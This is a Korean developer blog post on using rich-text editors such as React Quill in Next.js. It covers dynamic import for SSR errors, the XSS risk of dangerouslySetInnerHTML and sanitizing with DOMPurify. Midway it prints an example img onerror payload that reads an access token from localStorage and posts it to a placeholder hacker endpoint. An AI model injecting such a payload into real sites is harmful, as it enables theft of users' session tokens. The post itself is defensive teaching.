본문 바로가기

Next.js/실험실

XSS with Editor

간단한 입력을 위해서는 보통 textarea나 input을 사용해 입력란을 만들 수 있다. 하지만 사용자가 본문에서 중요한 부분을 강조하고 싶거나, 텍스트 색상을 변경하는 등의 스타일링을 필요로 하는 경우가 많다. 이런 상황에서는 텍스트만 입력하는 방식으로는 한계가 있다. 

 

이런 한계를 극복하기 위해 다양한 웹 에디터 라이브러리가 등장했다. 웹 에디터는 사용자가 손 쉽게 텍스트를 꾸밀 수 있도록, 예를 들어 굵게, 기울임, 링크 추가, 이미지 삽입 등을 지원한다. 

 

하지만 이렇게 강력한 웹 에디터가 XSS(크로스 사이트 스크립팅) 공격의 대상이 되기도 한다. 웹 에디터를 통해 발생할 수 있는 XSS 공격의 종류와, 왜 이런 공격 때문에 LocalStorage에 Access Token을 저장하는 것이 위험한지 알아보려고 한다. 

 

웹 에디터 

textarea의 한계를 보완해 더 스타일리쉬하게 내용을 작성할 수 있게 도와주는 다양한 웹 에디터 라이브러리가 있다. React Quill, React Draft Wysiwyg, TOAST UI Editor 같은 도구들이 대표적이다. 

 

이번 섹션에서는 에디터의 사용법보다는, Next.js에서 React Quill 같은 웹 에디터를 사용할 때 직면할 수 있는 오류에 대해서 이야기하려고 한다. 

 

바로 Next.js의 서버사이드 렌더링 문제이다.  

하늘은 왜 React는 낳고 Next.JS를 낳았는가....!

Next.js는 서버에서 페이지를 미리 렌더링(pre-rendering)하는 단계가 있는데, 이때 문제가 발생할 수 있다. 서버에서는 브라우저 환경이 아니기 떄문에 window나 document 객체가 존재하지 않는다. 그래서 페이지를 미리 렌더링할 때, document is not defined 같은 에러가 발생할 수 있다. 

 

이 문제를 해결할 수 있는 다양한 방법이 있겠지만, 주로 "동적 import" 또는 "useEffect"를 활용해 이런 오류를 해결할 수 있다. 

import dynamic from 'next/dynamic';

const ReactQuill = dynamic( async() => await import('react-quill'), {
    ssr : false
})

Next.js에서 제공하는 dynamic은 해당 모듈을 런타임 시점에 호출하도록 도와준다. 

즉, 빌드 시점이 아닌 document 객체가 존재하는 시점에 모듈을 불러오기 때문에, SSR에서 발생하는 오류를 방지할 수 있다. 

dynamic import는 ssr 이슈를 해결해줄 뿐 아니라 성능 최적화에도 기여를 해준다. 
처음부터 받지 않아도 되는 부분은 dynamic import를 사용해 필요한 시점에 다운 받아올 수 있도록 하면 초기 다운속도가 향상되어 초기 로딩속도가 향상된다. 

이렇게 필요한 시점에  import 해올 수 있도록 도와주는 것을 코드 스플리팅이라고 한다. 

 

XSS

 

웹 에디터로 작성된 내용은 HTML 태그가 포함된 문자열로 입력되기 때문에, 이를 화면에 출력할 때는 HTML 태그는 노출하지 않으면서 태그의 기능만 적용되도록 처리해야 합니다.

 

기본적으로 보안 문제를 방지하기 위해 브라우저는 HTML 태그를 직접 삽입하지 못하게 설정되어 있지만, Next.js나 React에서는 이를 우회할 수 있는 방법이 있습니다. 그중 하나가 바로 dangerouslySetInnerHTML  속성입니다.

<div dangerouslySetInnerHTML={{ __html :  HTML 태그 추가  }} />

HTML 태그들이 적용된 결과가 웹페이지에 출력 되는 것을 확인할 수 있다. 

하지만 이러한 방식은 공격을 받을 여지가 매우 큰 형식의 방식이다. 이 속성은 React에서 HTML을 직접 삽입할 수 있도록 하는데, 이름에서도 알 수 있듯이 위험성이 있는 방식입니다. dangerouslySetInnerHTML의 의미는 다음과 같습니다:

 

  • 프로젝트에 HTML 태그를 추가하는 행위가 위험하다는 것을 알고 있음.
  • 그럼에도 HTML 태그를 추가하고 싶다면 해당 태그를 작성.
  • 삽입된 HTML 태그들이 그대로 적용된 결과를 웹 페이지에 출력.

 

<img src="#" onerror="
	const aaa = localStorage.getItem('accessToken');
	axios.post(해커API주소, {accessToken = aaa});
" />

위 코드는 이미지가 정상적으로 로드되지 않았을 때 onError 속성으로 악성 스크립트를 실행합니다. 이를 통해 localStorage에 저장된 중요한 정보를 탈취해 해커에게 전송할 수 있습니다.

 

만약 이러한 코드를 dangerouslySetInnerHTML로 삽입하게 되면, 악성 스크립트가 실행되어 사용자의 AccessToken 같은 민감한 정보가 쉽게 탈취당할 위험이 있습니다.

 

이처럼 다른 웹사이트의 취약점을 노려 JavaScript와 HTML로 악성 코드를 삽입하고 실행하는 행위를 크로스 사이트 스크립트(Cross-Site Scripting, XSS)라고 합니다.

 

이러한 공격을 방어하려면 어떻게 해야할까? 

공격 코드가 있다면 자동으로 차단해주는 라이브러리를 사용하는 것도 하나의 방법이다. 그 중 DOMPurify를 이용해보자.

<div
  dangerouslySetInnerHTML={{
	__html: Dompurify.sanitize( HTML 태그 )
  }}
/>

서버 사이드 렌더링 환경에서는 에러가 발생하는데, 다음과 같은 코드를 추가해주면 된다.

{process.browser && <div
  dangerouslySetInnerHTML={{
	__html: Dompurify.sanitize( HTML 태그 )
  }}
/>}

 

반응형

'Next.js > 실험실' 카테고리의 다른 글

Next.js metadata  (1) 2024.07.10
Next.js Loading.js & Suspense  (1) 2024.07.07
Next.js Layout.js  (1) 2024.07.04
Next.js Atomic Design Pattern 그 모시깽한 모시깽  (1) 2024.06.30
not-found와 layout  (1) 2024.06.19